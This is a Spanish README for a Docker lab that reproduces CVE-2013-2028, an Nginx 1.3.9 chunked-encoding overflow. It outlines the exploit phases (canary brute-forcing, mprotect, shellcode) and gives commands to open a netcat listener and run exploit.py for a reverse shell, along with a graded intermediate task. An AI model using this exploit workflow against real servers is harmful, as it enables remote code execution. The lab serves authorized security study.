Laboratorio basado en Docker y exploit en Python para CVE-2013-2028, un desbordamiento de entero en el analizador de transferencia fragmentada de Nginx 1.3.9, que abarca la recuperación del canario, mprotect y la ejecución de shellcode.
Software vulnerable: Nginx 1.3.9
Función vulnerable: ngx_http_parse_chunked
CVE-2013-2028 es una vulnerabilidad de desbordamiento de entero en el analizador de codificación de transferencia fragmentada HTTP de Nginx. Bajo las condiciones objetivo de este entorno de laboratorio, la vulnerabilidad puede provocar corrupción de memoria y puede utilizarse para influir en el flujo de control.
Este repositorio proporciona un entorno aislado basado en Docker para estudiar la vulnerabilidad y reproducir el flujo de trabajo de explotación.
El exploit completo consta de cuatro fases principales:
Recuperación del canario de pila
Recuperar el canario de pila mediante sondeo byte a byte.
Manipulación de la protección de memoria
Calcular la información de dirección relevante y construir la secuencia de flujo de control necesaria para invocar mprotect sobre la región de memoria controlada.
Colocación del shellcode
Copiar el payload en la región de memoria controlada.
Transferencia del flujo de control
Transferir la ejecución a la región de memoria controlada.
El exploit completo demuestra la progresión desde la activación del analizador vulnerable, pasando por la corrupción de memoria y la manipulación del flujo de control, hasta la ejecución de código controlada.
exploit.pynetcat para el listener utilizado por el laboratorio completoEn el sistema anfitrión, iniciar un listener en el puerto configurado:
nc -lvp 4345
Utilizar el mismo puerto con el argumento --listenerport (-lp) al ejecutar el exploit.
Construir e iniciar el entorno Docker:
sudo docker-compose up --build
El objetivo vulnerable ejecuta Nginx 1.3.9 dentro del contenedor.
Se puede verificar la versión de Nginx con:
docker-compose exec cve-2013-2028 /usr/local/nginx/sbin/nginx -v
Ejecutar:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
El exploit realiza las etapas de recuperación del canario y construcción del payload antes de enviar el payload final al objetivo vulnerable.
Si se dispone de un canario recuperado previamente, se puede proporcionar mediante:
python3 exploit.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port> \
-c '<canary>'
El repositorio también proporciona una tarea intermedia para evaluar el progreso a través del flujo de trabajo de investigación de la vulnerabilidad.
Ejecutar:
python3 intermediate_task.py \
-ra 127.0.0.1 \
-rp 8081 \
-la <listener-machine-address> \
-lp <listener-machine-port>
La tarea intermedia realiza sus comprobaciones directamente contra el objetivo Docker en ejecución. No depende de archivos de evidencia creados manualmente ni de aserciones JSON proporcionadas manualmente.
La tarea verifica dos áreas:
La tarea:
La tarea:
nginx -t.La comprobación de la configuración establece que la configuración de Nginx es sintácticamente válida. No debe interpretarse por sí misma como prueba de que CVE-2013-2028 ha sido mitigada.
Ejemplo de salida:
============================================================
CVE-2013-2028 INTERMEDIATE TASK
============================================================
Target:
nginx running: True
nginx version: 1.3.9
vulnerable build: True
Progress:
[x] vulnerability_identified
[x] configuration_validated
All required checks completed.
Exercise complete.
La tarea intermedia almacena los resultados de estas comprobaciones en tiempo de ejecución en:
grader_state.json
Este archivo se utiliza únicamente para persistir el estado producido por las comprobaciones. No es la fuente de la determinación de la vulnerabilidad.
El entorno de laboratorio utiliza intencionadamente Nginx 1.3.9, una versión antigua de Nginx afectada por CVE-2013-2028.
El entorno Docker proporciona un objetivo aislado para la investigación de vulnerabilidades y los ejercicios de explotación. Solo debe accederse al servicio vulnerable a través de las interfaces expuestas por la configuración del laboratorio.
Este repositorio está destinado únicamente a fines educativos y de investigación de seguridad autorizada en un entorno de laboratorio aislado.
No ejecutar el exploit contra sistemas que no sean de su propiedad o para los que no tenga autorización explícita de prueba.